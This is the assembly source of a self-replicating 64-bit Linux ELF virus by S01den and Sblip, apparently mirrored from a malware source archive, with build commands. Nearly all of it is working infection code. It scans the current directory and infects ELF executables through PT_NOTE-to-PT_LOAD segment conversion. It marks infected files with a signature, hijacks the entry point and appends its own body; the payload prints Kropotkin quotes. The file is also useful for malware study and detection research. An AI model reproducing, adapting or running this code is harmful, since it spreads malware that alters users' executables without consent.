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https://github.com/vxunderground/MalwareSourceCode.git
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399 lines
12 KiB
NASM
399 lines
12 KiB
NASM
;####################################
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;## A 64 bit ELF virus ##
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;## By S01den and Sblip ##
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;####################################
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; This non-destructive (all data is recoverable) Proof of Concept vx infects Position Independant Executables, and is written in pure assembly.
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; It works on traditional ELF binaries, as well as those with --separate-code (4 PT_LOAD segments)
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; Enjoy the reading ;)
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; Don t spread this into the wild
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; we don t take responsibility for what you do with this
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;.____ .__ ________ _____ ____ __. __ __ .__
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;| | |__| ____ / _____/ / | | | |/ _|______ ____ ______ _____/ |_| | _|__| ____ ____
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;| | | |/ \/ __ \ / | |_ | < \_ __ \/ _ \\____ \ / _ \ __\ |/ / |/ \_/ __ \
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;| |___| | | \ |__\ \/ ^ / | | \ | | \( <_> ) |_> > <_> ) | | <| | | \ ___/
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;|_______ \__|___| /\_____ /\____ | /\ |____|__ \|__| \____/| __/ \____/|__| |__|_ \__|___| /\___ >
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; \/ \/ \/ |__| \/ \/ |__| \/ \/ \/
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; Infection through PT_NOTE infection. Made with love by S01den and Sblip
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; The payload prints a random quote of Peter Kropotkin (an anarcho-communist philosopher)
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;#################################### USEFUL LINKS ###############################
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;# https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/ #
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;# https://github.com/Binject/binjection/blob/master/bj/inject_elf.go#L139 #
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;# https://filippo.io/linux-syscall-table/ #
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;# https://theanarchistlibrary.org/library/petr-kropotkin-the-conquest-of-bread #
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;#################################################################################
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; Build command: nasm -f elf64 kropotkine.s ; ld kropotkine.o -o kropotkine
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; long live to the vx scene and Hasta siempre !
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;---------------------------------- CUT HERE ----------------------------------
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; some structs, thanks https://en.wikipedia.org/wiki/Executable_and_Linkable_Format !
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struc STAT
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.st_dev resq 1
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.st_ino resq 1
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.st_nlink resq 1
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.st_mode resd 1
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.st_uid resd 1
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.st_gid resd 1
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.pad0 resb 4
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.st_rdev resq 1
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.st_size resq 1
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.st_blksize resq 1
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.st_blocks resq 1
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.st_atime resq 1
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.st_atime_nsec resq 1
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.st_mtime resq 1
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.st_mtime_nsec resq 1
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.st_ctime resq 1
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.st_ctime_nsec resq 1
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endstruc
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struc e_hdr
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.magic resd 1 ; 0x7F followed by ELF(45 4c 46) in ASCII; these four bytes constitute the magic number.
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.class resb 1 ; This byte is set to either 1 or 2 to signify 32- or 64-bit format, respectively.
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.data resb 1 ; This byte is set to either 1 or 2 to signify little or big endianness, respectively. This affects interpretation of multi-byte fields starting with offset 0x10.
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.elf_version resb 1 ; Set to 1 for the original and current version of ELF.
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.os resb 1 ; Identifies the target operating system ABI.
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.abi_version resb 1
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.padding resb 7 ; currently unused, should be filled with zeros. <--------- that will be the place where we will put out signature
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.type resb 2 ; Identifies object file type.
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.machine resb 2 ; Specifies target instruction set architecture.
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.e_version resb 4 ; Set to 1 for the original version of ELF.
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.entry resq 1 ; this is the entry point
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.phoff resq 1 ; Points to the start of the program header table.
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.shoff resq 1 ; Points to the start of the section header table.
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.flags resb 4 ; Interpretation of this field depends on the target architecture.
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.ehsize resb 2 ; Contains the size of this header, normally 64 Bytes for 64-bit and 52 Bytes for 32-bit format.
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.phentsize resb 2 ; Contains the size of a program header table entry.
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.phnum resb 2 ; Contains the number of entries in the program header table.
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.shentsize resb 2 ; Contains the size of a section header table entry.
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.shnum resb 2 ; Contains the number of entries in the section header table.
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.shstrndx resb 2 ; Contains index of the section header table entry that contains the section names.
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.end resb 1
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endstruc
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struc e_phdr
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.type resb 4 ; Identifies the type of the segment. (The number which interest us are: 0 = PT_NULL | 1 = PT_LOAD | 2 = PT_DYNAMIC | 4 = PT_NOTE)
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.flags resd 1 ; Segment-dependent flags (position for 64-bit structure).
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.offset resq 1 ; Offset of the segment in the file image.
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.vaddr resq 1 ; Virtual address of the segment in memory.
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.paddr resq 1 ; On systems where physical address is relevant, reserved for segments physical address.
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.filesz resq 1 ; Size in bytes of the segment in the file image.
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.memsz resq 1 ; Size in bytes of the segment in memory.
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.align resq 1 ; 0 and 1 specify no alignment. Otherwise should be a positive, integral power of 2, with p_vaddr equating p_offset modulus p_align.
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.end resb 1
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endstruc
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struc e_shdr
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.name resb 4 ; An offset to a string in the .shstrtab section that represents the name of this section.
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.type resb 4 ; Identifies the type of this header.
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.flags resq 1 ; Identifies the attributes of the section.
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.addr resq 1 ; Virtual address of the section in memory, for sections that are loaded.
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.offset resq 1 ; Offset of the section in the file image.
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.size resq 1 ; Size in bytes of the section in the file image.
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.link resb 4
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.info resb 4
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.addralign resq 1 ; Contains the required alignment of the section.
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.entsize resq 1 ; Contains the size, in bytes, of each entry, for sections that contain fixed-size entries.
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.end resb 1
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endstruc
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%define VXSIZE 0x508
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%define BUFFSIZE 1024
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section .text
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global _start
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_start:
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mov r14, rsp
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add rsp, VXSIZE
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mov r15, rsp
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getVirus: ; first we get the vx code (thanks to the same method I used in Linux.Proudhon.i386)
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call get_eip
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sub rax, 0x12
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mov cl, byte [rax+rbx]
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mov byte [rsp+rbx], cl
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inc rbx
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cmp rbx, VXSIZE
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jne getVirus
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call clean
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add rsp, VXSIZE
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add rsp, VXSIZE
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add rsp, 0x100
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jmp getdot
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main:
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pop rdi
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mov rax, 2 ; open syscall
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xor rsi,rsi ; flags = rdonly
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syscall ; and awaaaaay we go
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; we use the stack to hold dirents
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mov rdi, rax
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mov rax, 217
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mov rsi, rsp
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mov rdx, BUFFSIZE
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syscall
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cmp rax, 0
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jl exit
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mov r13, rax
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xor rbx, rbx
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loop:
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mov rax, rsp
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add rax, 0x13 ; d_name
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; write the name
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mov rsi, rax
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mov rdi, 1
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xor rcx, rcx
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mov cl, byte [rsp+0x12] ; rcx now contains the type of data (directory or file)
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push rbx
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call infect
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pop rbx
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mov ax, [rsp+0x10] ; the buffer position += d_reclen
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add rbx, rax
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add rsp, rax
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cmp rbx, r13
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jl loop
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jmp exit
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infect:
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mov rbp, rsp
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cmp rcx, 0x8 ; check if the thing we will try to inject is a file or a directory (0x4 = dir | 0x8 = file)
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jne end
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; open the file
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mov rdi, rsi
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mov rax, 2
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mov rsi, 0x402 ; RW mode
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syscall
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cmp rax, 0
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jng end
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mov rbx, rax
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; stat the file to know its length
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mov rsi, rsp
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sub rsi, r13
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mov rax, 4
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syscall
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; mmap the file
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mov r8, rbx ; the fd
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mov rsi, [rsi+STAT.st_size] ; the len
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mov rdi, 0 ; we write this shit on the stack
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mov rdx, 6 ; protect RW = PROT_READ (0x04) | PROT_WRITE (0x02)
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xor r9, r9 ; r9 = 0 <=> offset_start = 0
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mov r10, 0x1 ; flag = MAP_SHARED
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xor rax, rax
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mov rax, 9 ; mmap syscall number
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syscall
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; rax now contains the addr where the file is mapped
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cmp dword [rax+e_hdr.magic], 0x464c457f ; check if the file is an ELF
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je get_bits
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end:
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mov rax, 3 ; close
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mov rdi, rbx
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syscall
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xor rax, rax
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; epilogue
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mov rsp, rbp
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ret
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get_bits: ; check if the binary is 64 bits
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cmp byte [rax+e_hdr.class], 2
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je check_signature
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jmp end
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check_signature:
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cmp dword [rax+e_hdr.padding], 0xdeadc0de ; the signature (to check if a file is already infected)
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jne parse_phdr
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xor rax, rax
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; epilogue
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mov rsp, rbp
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ret
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parse_phdr:
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xor rcx, rcx
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xor rdx, rdx
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mov cx, word [rax+e_hdr.phnum] ; rcx contains the number of entries in the program header table
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mov rbx, qword [rax+e_hdr.phoff] ; rbx contains the offset of the program header table
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mov dx, word [rax+e_hdr.phentsize] ; rdx contains the size of an entry in the program header table
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loop_phdr:
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add rbx, rdx
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dec rcx
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cmp dword [rax+rbx+e_phdr.type], 0x4
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je pt_note_found
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cmp rcx, 0
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jg loop_phdr
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pt_note_found:
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; Now, we finally infect the file !
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mov dword [rax+e_hdr.padding], 0xdeadc0de ; write the signature of the virus
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mov dword [rax+rbx+e_phdr.type], 0x01 ; change to PT_LOAD
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mov dword [rax+rbx+e_phdr.flags], 0x07 ; Change the memory protections for this segment to allow executable instructions (0x07 = PT_R | PT_X | PT_W)
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mov r9, 0xc000000
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add r9, rsi ; the new entry point (= a virtual address far from the end of the original program)
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mov r12, qword [rax+e_hdr.entry] ; save the OEP in r12
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mov qword [rax+e_hdr.entry], r9
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mov qword [rax+rbx+e_phdr.vaddr], r9
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; here we write the code to resolve and return to the OEP
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; FUCK THE PIE !!
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; read "Note on resolving Elf_Hdr->e_entry in PIEexecutables" from elfmaster (https://bitlackeys.org/papers/pocorgtfo20.pdf)
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mov rcx, r15
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add rcx, VXSIZE
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mov dword [rcx], 0xffffeee8 ; relative call to get_eip
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mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
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mov byte [rcx+8], 0x00000005
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mov word [rcx+11], 0x0002d48
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mov qword [rcx+13], r9 ; sub rax, entry0
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mov word [rcx+17], 0x0000548
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mov qword [rcx+19], r12 ; add rax, sym._start
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mov dword [rcx+23], 0xfff4894c ; movabs rsp, r14
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mov word [rcx+27], 0x00e0 ; jmp rax
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mov rdi, qword [rax+rbx+e_phdr.filesz] ; p.Filesz += injectSize
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add rdi, VXSIZE
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mov qword [rax+rbx+e_phdr.filesz], rdi
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mov rdi, qword [rax+rbx+e_phdr.memsz] ; p.Memsz += injectSize
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add rdi, VXSIZE
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mov qword [rax+rbx+e_phdr.memsz], rdi
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mov qword [rax+rbx+e_phdr.offset], rsi ; p.Off = uint64(fsize)
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mov rdx, 4
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mov rdi, rax
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mov rax, 26
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syscall ; msync syscall: apply the change to the file
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mov rax, 11
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syscall ; munmap
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mov rdi, r8
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mov rsi, r15
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mov rdx, VXSIZE
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add rdx, 46
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mov rax, 1 ; write the vx
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syscall
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mov rax, 3 ; close
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syscall
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; epilogue
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mov rsp, rbp
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ret
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payload:
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mov rax, 201 ; time syscall
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xor rdi, rdi
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syscall
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xor rdx, rdx ; get the modulo 10
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mov rcx, 0x9
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div rcx
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mov rax, rdx
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inc rax
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xor rcx, rcx
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xor rbx, rbx
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jmp pushQuote
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get_quote:
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pop rsi
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loop_quote:
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mov byte bl, [rsi]
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inc rcx
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cmp rcx, rax
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je print_quote
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add rsi, rbx
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jmp loop_quote
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print_quote:
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xor rdx, rdx
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mov rax, 1 ; print the quote
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mov rdi, 1
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mov byte dl, [rsi]
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dec dl
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inc rsi
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syscall
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ret
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exit:
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call payload
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call clean
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call get_eip
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add rax, 0x29c ; go to the restore OEP code
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jmp rax
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clean:
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xor rcx, rcx
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xor rbx, rbx
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xor rax, rax
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xor rdx, rdx
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ret
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pushQuote:
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call get_quote
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db 36,'Well-being for all is not a dream.',10
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db 65,'The hopeless dont revolt, because revolution is an act of hope.',10
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db 47,'here there is authority, there is no freedom.',10
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db 61,'Prisons are universities of crime, maintained by the state.',10
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db 68,'Poverty, the existence of the poor, was the first cause of riches.',10
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db 63,'Revolutions, we must remember, are always made by minorities.',10
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db 39,'Variety is life, uniformity is death.',10
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db 70,'It is futile to speak of liberty as long as economic slavery exists.',10
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db 16,'All is for all',10
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db 162,'In the long run the practice of solidarity proves much more advantageous to the species than the development of individuals endowed with predatory inclinations.',10
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dw 0x0
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get_eip:
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mov rax, [rsp]
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ret
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getdot:
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call main
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db '.'
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dw 0x0
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eof:
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mov rax, 60
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xor rdi, rdi
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syscall
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;--------------------------------------------------------------------------------------------------------------------------
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